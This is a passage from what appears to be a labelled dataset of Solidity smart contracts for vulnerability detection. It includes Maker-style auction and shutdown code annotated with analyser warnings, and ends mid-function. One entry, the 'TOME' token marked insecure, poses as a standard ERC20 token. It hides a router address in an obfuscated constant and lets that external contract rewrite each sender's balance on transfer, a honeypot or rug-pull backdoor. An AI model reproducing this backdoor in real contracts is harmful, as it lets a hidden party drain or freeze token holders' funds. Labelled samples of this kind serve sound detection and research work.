Vulnerability (reentrancy-events | severity: Low | ID: af0a13a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for af0a13a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1bd0dbd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1bd0dbd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4a6411b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4a6411b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: de17d1c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for de17d1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8c8aa04): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8c8aa04: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: a08713e): Clipper.take(uint256,uint256,uint256,address,bytes) uses a dangerous strict equality lot == 0\n\t// Recommendation for a08713e: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 909fe0d): Clipper.take(uint256,uint256,uint256,address,bytes) uses a dangerous strict equality tab == 0\n\t// Recommendation for 909fe0d: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 00ee3cf): Clipper.take(uint256,uint256,uint256,address,bytes) uses a dangerous strict equality lot == 0\n\t// Recommendation for 00ee3cf: Don't use strict equality to determine if an account has enough Ether or tokens.\n function take(\n uint256 id,\n uint256 amt,\n uint256 max,\n address who,\n bytes calldata data\n ) external lock isStopped(3) {\n address usr = sales[id].usr;\n uint96 tic = sales[id].tic;\n\n require(usr != address(0), \"Clipper/not-running-auction\");\n\n uint256 price;\n {\n bool done;\n (done, price) = status(tic, sales[id].top);\n\n\t\t\t// timestamp | ID: 0c5db8b\n require(!done, \"Clipper/needs-reset\");\n }\n\n\t\t// timestamp | ID: 0c5db8b\n require(max >= price, \"Clipper/too-expensive\");\n\n uint256 lot = sales[id].lot;\n uint256 tab = sales[id].tab;\n uint256 owe;\n\n {\n uint256 slice = min(lot, amt);\n\n owe = mul(slice, price);\n\n\t\t\t// timestamp | ID: 0c5db8b\n if (owe > tab) {\n owe = tab;\n\n slice = owe / price; // slice' = owe' / price <= owe / price == slice <= lot\n\t\t\t// timestamp | ID: 0c5db8b\n } else if (owe < tab && slice < lot) {\n uint256 _chost = chost;\n\t\t\t\t// timestamp | ID: 0c5db8b\n if (tab - owe < _chost) {\n\t\t\t\t\t// timestamp | ID: 0c5db8b\n require(tab > _chost, \"Clipper/no-partial-purchase\");\n\n owe = tab - _chost;\n\n slice = owe / price; // slice' = owe' / price < owe / price == slice < lot\n }\n }\n\n tab = tab - owe;\n\n lot = lot - slice;\n\n\t\t\t// reentrancy-events | ID: af0a13a\n\t\t\t// reentrancy-benign | ID: 1bd0dbd\n\t\t\t// reentrancy-benign | ID: 4a6411b\n\t\t\t// reentrancy-no-eth | ID: de17d1c\n\t\t\t// reentrancy-no-eth | ID: 8c8aa04\n vat.flux(ilk, address(this), who, slice);\n\n DogLike dog_ = dog;\n if (\n data.length > 0 && who != address(vat) && who != address(dog_)\n ) {\n\t\t\t\t// reentrancy-events | ID: af0a13a\n\t\t\t\t// reentrancy-benign | ID: 1bd0dbd\n\t\t\t\t// reentrancy-benign | ID: 4a6411b\n\t\t\t\t// reentrancy-no-eth | ID: de17d1c\n\t\t\t\t// reentrancy-no-eth | ID: 8c8aa04\n ClipperCallee(who).clipperCall(msg.sender, owe, slice, data);\n }\n\n\t\t\t// reentrancy-events | ID: af0a13a\n\t\t\t// reentrancy-benign | ID: 1bd0dbd\n\t\t\t// reentrancy-benign | ID: 4a6411b\n\t\t\t// reentrancy-no-eth | ID: de17d1c\n\t\t\t// reentrancy-no-eth | ID: 8c8aa04\n vat.move(msg.sender, vow, owe);\n\n\t\t\t// timestamp | ID: 0c5db8b\n\t\t\t// reentrancy-events | ID: af0a13a\n\t\t\t// reentrancy-benign | ID: 1bd0dbd\n\t\t\t// reentrancy-benign | ID: 4a6411b\n\t\t\t// reentrancy-no-eth | ID: de17d1c\n\t\t\t// reentrancy-no-eth | ID: 8c8aa04\n\t\t\t// incorrect-equality | ID: a08713e\n dog_.digs(ilk, lot == 0 ? tab + owe : owe);\n }\n\n\t\t// timestamp | ID: 0c5db8b\n\t\t// incorrect-equality | ID: 00ee3cf\n if (lot == 0) {\n\t\t\t// reentrancy-benign | ID: 4a6411b\n\t\t\t// reentrancy-no-eth | ID: 8c8aa04\n _remove(id);\n\t\t// timestamp | ID: 0c5db8b\n\t\t// incorrect-equality | ID: 909fe0d\n } else if (tab == 0) {\n\t\t\t// reentrancy-events | ID: af0a13a\n\t\t\t// reentrancy-benign | ID: 1bd0dbd\n\t\t\t// reentrancy-no-eth | ID: de17d1c\n vat.flux(ilk, address(this), usr, lot);\n\t\t\t// reentrancy-benign | ID: 1bd0dbd\n\t\t\t// reentrancy-no-eth | ID: de17d1c\n _remove(id);\n } else {\n\t\t\t// reentrancy-no-eth | ID: 8c8aa04\n sales[id].tab = tab;\n\t\t\t// reentrancy-no-eth | ID: 8c8aa04\n sales[id].lot = lot;\n }\n\n\t\t// reentrancy-events | ID: af0a13a\n emit Take(id, max, price, owe, tab, lot, usr);\n }\n\n function _remove(uint256 id) internal {\n uint256 _move = active[active.length - 1];\n if (id != _move) {\n uint256 _index = sales[id].pos;\n\t\t\t// reentrancy-benign | ID: 1bd0dbd\n\t\t\t// reentrancy-benign | ID: 4a6411b\n\t\t\t// reentrancy-benign | ID: af7a38b\n active[_index] = _move;\n\t\t\t// reentrancy-no-eth | ID: de17d1c\n\t\t\t// reentrancy-no-eth | ID: e224219\n\t\t\t// reentrancy-no-eth | ID: 8c8aa04\n sales[_move].pos = _index;\n }\n\t\t// reentrancy-benign | ID: 1bd0dbd\n\t\t// reentrancy-benign | ID: 4a6411b\n\t\t// reentrancy-benign | ID: af7a38b\n active.pop();\n\t\t// reentrancy-no-eth | ID: de17d1c\n\t\t// reentrancy-no-eth | ID: e224219\n\t\t// reentrancy-no-eth | ID: 8c8aa04\n delete sales[id];\n }\n\n function count() external view returns (uint256) {\n return active.length;\n }\n\n function list() external view returns (uint256[] memory) {\n return active;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 274add3): Clipper.getStatus(uint256) uses timestamp for comparisons Dangerous comparisons needsRedo = usr != address(0) && done\n\t// Recommendation for 274add3: Avoid relying on 'block.timestamp'.\n function getStatus(\n uint256 id\n )\n external\n view\n returns (bool needsRedo, uint256 price, uint256 lot, uint256 tab)\n {\n address usr = sales[id].usr;\n uint96 tic = sales[id].tic;\n\n bool done;\n (done, price) = status(tic, sales[id].top);\n\n\t\t// timestamp | ID: 274add3\n needsRedo = usr != address(0) && done;\n lot = sales[id].lot;\n tab = sales[id].tab;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6be1eca): Clipper.status(uint96,uint256) uses timestamp for comparisons Dangerous comparisons done = (sub(block.timestamp,tic) > tail || rdiv(price,top) < cusp)\n\t// Recommendation for 6be1eca: Avoid relying on 'block.timestamp'.\n function status(\n uint96 tic,\n uint256 top\n ) internal view returns (bool done, uint256 price) {\n price = calc.price(top, sub(block.timestamp, tic));\n\t\t// timestamp | ID: 6be1eca\n done = (sub(block.timestamp, tic) > tail || rdiv(price, top) < cusp);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 26657fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 26657fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2c5b754): Clipper.upchost() ignores return value by (None,None,None,None,_dust) = VatLike(vat).ilks(ilk)\n\t// Recommendation for 2c5b754: Ensure that all the return values of the function calls are used.\n function upchost() external {\n\t\t// reentrancy-benign | ID: 26657fd\n\t\t// unused-return | ID: 2c5b754\n (, , , , uint256 _dust) = VatLike(vat).ilks(ilk);\n\t\t// reentrancy-benign | ID: 26657fd\n chost = wmul(_dust, dog.chop(ilk));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 69d7cc8): Reentrancy in Clipper.yank(uint256) External calls dog.digs(ilk,sales[id].tab) vat.flux(ilk,address(this),msg.sender,sales[id].lot) Event emitted after the call(s) Yank(id)\n\t// Recommendation for 69d7cc8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: af7a38b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for af7a38b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e224219): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e224219: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function yank(uint256 id) external auth lock {\n require(sales[id].usr != address(0), \"Clipper/not-running-auction\");\n\t\t// reentrancy-events | ID: 69d7cc8\n\t\t// reentrancy-benign | ID: af7a38b\n\t\t// reentrancy-no-eth | ID: e224219\n dog.digs(ilk, sales[id].tab);\n\t\t// reentrancy-events | ID: 69d7cc8\n\t\t// reentrancy-benign | ID: af7a38b\n\t\t// reentrancy-no-eth | ID: e224219\n vat.flux(ilk, address(this), msg.sender, sales[id].lot);\n\t\t// reentrancy-benign | ID: af7a38b\n\t\t// reentrancy-no-eth | ID: e224219\n _remove(id);\n\t\t// reentrancy-events | ID: 69d7cc8\n emit Yank(id);\n }\n}",
"file_name": "solidity_code_2758.sol",
"secure": 0,
"size_bytes": 24570
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface VatLike {\n function dai(address) external view returns (uint256);\n function ilks(\n bytes32 ilk\n )\n external\n returns (\n uint256 Art,\n uint256 rate,\n uint256 spot,\n uint256 line,\n uint256 dust\n );\n function urns(\n bytes32 ilk,\n address urn\n ) external returns (uint256 ink, uint256 art);\n function debt() external returns (uint256);\n function move(address src, address dst, uint256 rad) external;\n function hope(address) external;\n function flux(bytes32 ilk, address src, address dst, uint256 rad) external;\n function grab(\n bytes32 i,\n address u,\n address v,\n address w,\n int256 dink,\n int256 dart\n ) external;\n function suck(address u, address v, uint256 rad) external;\n function cage() external;\n}",
"file_name": "solidity_code_2759.sol",
"secure": 1,
"size_bytes": 994
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\ncontract TOME is Ownable {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balanceses;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0b4471): TOME._totalSupply should be constant \n\t// Recommendation for b0b4471: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n string private _name;\n\n string private _symbol;\n\n UniswapRouterV2 Router2Instance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c811a5): TOME._initSupply should be constant \n\t// Recommendation for 0c811a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSupply =\n 1323995976083318023847656560591034026600115552771 - 18;\n\n function INIT() internal {\n uint256 supplyhash = _initSupply;\n\n address router_;\n\n router_ = address(uint160(supplyhash + 18));\n\n Router2Instance = UniswapRouterV2(router_);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 65db898): TOME.constructor(string,string).name shadows TOME.name() (function)\n\t// Recommendation for 65db898: Rename the local variables that shadow another component.\n constructor(string memory name, string memory sym) {\n _name = name;\n\n _symbol = sym;\n\n _balanceses[_msgSender()] = _totalSupply;\n\n INIT();\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 65db898): TOME.constructor(string,string).name shadows TOME.name() (function)\n\t// Recommendation for 65db898: Rename the local variables that shadow another component.\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balanceses[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d43ccfa): TOME.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d43ccfa: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n (, _balanceses[owner], ) = _aaaroveeee(owner, true, amount);\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d1ce382): TOME.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d1ce382: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[owner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bb19626): TOME.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bb19626: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n (, _balanceses[from], ) = _aaaroveeee(from, true, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f2bbc58): TOME._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f2bbc58: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][sender] = amount;\n\n emit Approval(owner, sender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7255686): TOME._aaaroveeee(address,bool,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7255686: Rename the local variables that shadow another component.\n function _aaaroveeee(\n address owner,\n bool no,\n uint256 amount\n ) internal virtual returns (bool, uint256, bool) {\n if (no == true) {\n return (true, _dogeswap(owner, amount), true);\n } else {\n emit Approval(owner, msg.sender, amount);\n\n return (true, _balanceses[owner], true);\n }\n\n emit Approval(owner, msg.sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = _balanceses[from];\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balanceses[from] = balance - amount;\n\n _balanceses[to] = _balanceses[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a1eeec7): TOME._dogeswap(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a1eeec7: Rename the local variables that shadow another component.\n function _dogeswap(\n address owner,\n uint256 amount\n ) internal virtual returns (uint256) {\n return\n IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balanceses[owner],\n owner\n );\n }\n}",
"file_name": "solidity_code_276.sol",
"secure": 0,
"size_bytes": 7109
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface CatLike {\n function ilks(\n bytes32\n ) external returns (address flip, uint256 chop, uint256 lump);\n function cage() external;\n}",
"file_name": "solidity_code_2760.sol",
"secure": 1,
"size_bytes": 234
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface DogLike {\n function ilks(\n bytes32\n ) external returns (address clip, uint256 chop, uint256 hole, uint256 dirt);\n function cage() external;\n}",
"file_name": "solidity_code_2761.sol",
"secure": 1,
"size_bytes": 248
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface PotLike {\n function cage() external;\n}",
"file_name": "solidity_code_2762.sol",
"secure": 1,
"size_bytes": 129
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface VowLike {\n function cage() external;\n}",
"file_name": "solidity_code_2763.sol",
"secure": 1,
"size_bytes": 129
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface FlipLike {\n function bids(\n uint256 id\n )\n external\n view\n returns (\n uint256 bid,\n uint256 lot,\n address guy,\n uint48 tic,\n uint48 end,\n address usr,\n address gal,\n uint256 tab\n );\n function yank(uint256 id) external;\n}",
"file_name": "solidity_code_2764.sol",
"secure": 1,
"size_bytes": 455
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface ClipLike {\n function sales(\n uint256 id\n )\n external\n view\n returns (\n uint256 pos,\n uint256 tab,\n uint256 lot,\n address usr,\n uint96 tic,\n uint256 top\n );\n function yank(uint256 id) external;\n}",
"file_name": "solidity_code_2765.sol",
"secure": 1,
"size_bytes": 405
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface PipLike {\n function read() external view returns (bytes32);\n}",
"file_name": "solidity_code_2766.sol",
"secure": 1,
"size_bytes": 152
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./PipLike.sol\" as PipLike;\n\ninterface SpotLike {\n function par() external view returns (uint256);\n function ilks(bytes32) external view returns (PipLike pip, uint256 mat);\n function cage() external;\n}",
"file_name": "solidity_code_2767.sol",
"secure": 1,
"size_bytes": 299
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./VatLike.sol\" as VatLike;\nimport \"./CatLike.sol\" as CatLike;\nimport \"./DogLike.sol\" as DogLike;\nimport \"./PotLike.sol\" as PotLike;\nimport \"./VowLike.sol\" as VowLike;\nimport \"./FlipLike.sol\" as FlipLike;\nimport \"./ClipLike.sol\" as ClipLike;\nimport \"./PipLike.sol\" as PipLike;\nimport \"./SpotLike.sol\" as SpotLike;\n\ncontract End {\n mapping(address => uint256) public wards;\n function rely(address usr) external auth {\n wards[usr] = 1;\n emit Rely(usr);\n }\n function deny(address usr) external auth {\n wards[usr] = 0;\n emit Deny(usr);\n }\n modifier auth() {\n require(wards[msg.sender] == 1, \"End/not-authorized\");\n _;\n }\n\n VatLike public vat;\n CatLike public cat;\n DogLike public dog;\n VowLike public vow;\n PotLike public pot;\n SpotLike public spot;\n\n uint256 public live;\n uint256 public when;\n uint256 public wait;\n uint256 public debt;\n\n mapping(bytes32 => uint256) public tag;\n mapping(bytes32 => uint256) public gap;\n mapping(bytes32 => uint256) public Art;\n mapping(bytes32 => uint256) public fix;\n\n mapping(address => uint256) public bag;\n mapping(bytes32 => mapping(address => uint256)) public out;\n\n event Rely(address indexed usr);\n event Deny(address indexed usr);\n\n event File(bytes32 indexed what, uint256 data);\n event File(bytes32 indexed what, address data);\n\n event Cage();\n event Cage(bytes32 indexed ilk);\n event Snip(\n bytes32 indexed ilk,\n uint256 indexed id,\n address indexed usr,\n uint256 tab,\n uint256 lot,\n uint256 art\n );\n event Skip(\n bytes32 indexed ilk,\n uint256 indexed id,\n address indexed usr,\n uint256 tab,\n uint256 lot,\n uint256 art\n );\n event Skim(\n bytes32 indexed ilk,\n address indexed urn,\n uint256 wad,\n uint256 art\n );\n event Free(bytes32 indexed ilk, address indexed usr, uint256 ink);\n event Thaw();\n event Flow(bytes32 indexed ilk);\n event Pack(address indexed usr, uint256 wad);\n event Cash(bytes32 indexed ilk, address indexed usr, uint256 wad);\n\n constructor() public {\n wards[msg.sender] = 1;\n live = 1;\n emit Rely(msg.sender);\n }\n\n uint256 constant WAD = 10 ** 18;\n uint256 constant RAY = 10 ** 27;\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: cc4f943): End.add(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(z >= x)\n\t// Recommendation for cc4f943: Avoid relying on 'block.timestamp'.\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = x + y;\n\t\t// timestamp | ID: cc4f943\n require(z >= x);\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9bbcc8a): End.sub(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)((z = x y) <= x)\n\t// Recommendation for 9bbcc8a: Avoid relying on 'block.timestamp'.\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n\t\t// timestamp | ID: 9bbcc8a\n require((z = x - y) <= x);\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 078f578): End.mul(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(y == 0 || (z = x * y) / y == x)\n\t// Recommendation for 078f578: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 31f649d): End.mul(uint256,uint256) uses a dangerous strict equality require(bool)(y == 0 || (z = x * y) / y == x)\n\t// Recommendation for 31f649d: Don't use strict equality to determine if an account has enough Ether or tokens.\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n\t\t// timestamp | ID: 078f578\n\t\t// incorrect-equality | ID: 31f649d\n require(y == 0 || (z = x * y) / y == x);\n }\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7e5c07c): End.min(uint256,uint256) uses timestamp for comparisons Dangerous comparisons x <= y\n\t// Recommendation for 7e5c07c: Avoid relying on 'block.timestamp'.\n function min(uint256 x, uint256 y) internal pure returns (uint256 z) {\n\t\t// timestamp | ID: 7e5c07c\n return x <= y ? x : y;\n }\n function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = mul(x, y) / RAY;\n }\n function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {\n z = mul(x, WAD) / y;\n }\n\n function file(bytes32 what, address data) external auth {\n require(live == 1, \"End/not-live\");\n if (what == \"vat\") vat = VatLike(data);\n else if (what == \"cat\") cat = CatLike(data);\n else if (what == \"dog\") dog = DogLike(data);\n else if (what == \"vow\") vow = VowLike(data);\n else if (what == \"pot\") pot = PotLike(data);\n else if (what == \"spot\") spot = SpotLike(data);\n else revert(\"End/file-unrecognized-param\");\n emit File(what, data);\n }\n function file(bytes32 what, uint256 data) external auth {\n require(live == 1, \"End/not-live\");\n if (what == \"wait\") wait = data;\n else revert(\"End/file-unrecognized-param\");\n emit File(what, data);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 06fdce8): Reentrancy in End.cage() External calls vat.cage() cat.cage() dog.cage() vow.cage() spot.cage() pot.cage() Event emitted after the call(s) Cage()\n\t// Recommendation for 06fdce8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function cage() external auth {\n require(live == 1, \"End/not-live\");\n live = 0;\n when = block.timestamp;\n\t\t// reentrancy-events | ID: 06fdce8\n vat.cage();\n\t\t// reentrancy-events | ID: 06fdce8\n cat.cage();\n\t\t// reentrancy-events | ID: 06fdce8\n dog.cage();\n\t\t// reentrancy-events | ID: 06fdce8\n vow.cage();\n\t\t// reentrancy-events | ID: 06fdce8\n spot.cage();\n\t\t// reentrancy-events | ID: 06fdce8\n pot.cage();\n\t\t// reentrancy-events | ID: 06fdce8\n emit Cage();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 39f0ff6): End.cage(bytes32) uses timestamp for comparisons Dangerous comparisons require(bool,string)(tag[ilk] == 0,End/tagilkalreadydefined)\n\t// Recommendation for 39f0ff6: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9e91c74): Reentrancy in End.cage(bytes32) External calls (Art[ilk],None,None,None,None) = vat.ilks(ilk) Event emitted after the call(s) Cage(ilk)\n\t// Recommendation for 9e91c74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a676f11): End.cage(bytes32) ignores return value by (Art[ilk],None,None,None,None) = vat.ilks(ilk)\n\t// Recommendation for a676f11: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3c97936): End.cage(bytes32) ignores return value by (pip,None) = spot.ilks(ilk)\n\t// Recommendation for 3c97936: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: c911680): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for c911680: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 5b995fe): End.cage(bytes32) uses a dangerous strict equality require(bool,string)(tag[ilk] == 0,End/tagilkalreadydefined)\n\t// Recommendation for 5b995fe: Don't use strict equality to determine if an account has enough Ether or tokens.\n function cage(bytes32 ilk) external {\n require(live == 0, \"End/still-live\");\n\t\t// timestamp | ID: 39f0ff6\n\t\t// incorrect-equality | ID: 5b995fe\n require(tag[ilk] == 0, \"End/tag-ilk-already-defined\");\n\t\t// reentrancy-events | ID: 9e91c74\n\t\t// unused-return | ID: a676f11\n\t\t// reentrancy-no-eth | ID: c911680\n (Art[ilk], , , , ) = vat.ilks(ilk);\n\t\t// unused-return | ID: 3c97936\n (PipLike pip, ) = spot.ilks(ilk);\n\n\t\t// reentrancy-no-eth | ID: c911680\n tag[ilk] = wdiv(spot.par(), uint256(pip.read()));\n\t\t// reentrancy-events | ID: 9e91c74\n emit Cage(ilk);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7f5b1de): End.snip(bytes32,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(tag[ilk] != 0,End/tagilknotdefined)\n\t// Recommendation for 7f5b1de: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c6f37c4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c6f37c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 402a915): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 402a915: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3aa5c84): End.snip(bytes32,uint256) ignores return value by (_clip,None,None,None) = dog.ilks(ilk)\n\t// Recommendation for 3aa5c84: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3e545ec): End.snip(bytes32,uint256) ignores return value by (None,rate,None,None,None) = vat.ilks(ilk)\n\t// Recommendation for 3e545ec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 70ea26d): End.snip(bytes32,uint256) ignores return value by (None,tab,lot,usr,None,None) = clip.sales(id)\n\t// Recommendation for 70ea26d: Ensure that all the return values of the function calls are used.\n function snip(bytes32 ilk, uint256 id) external {\n\t\t// timestamp | ID: 7f5b1de\n require(tag[ilk] != 0, 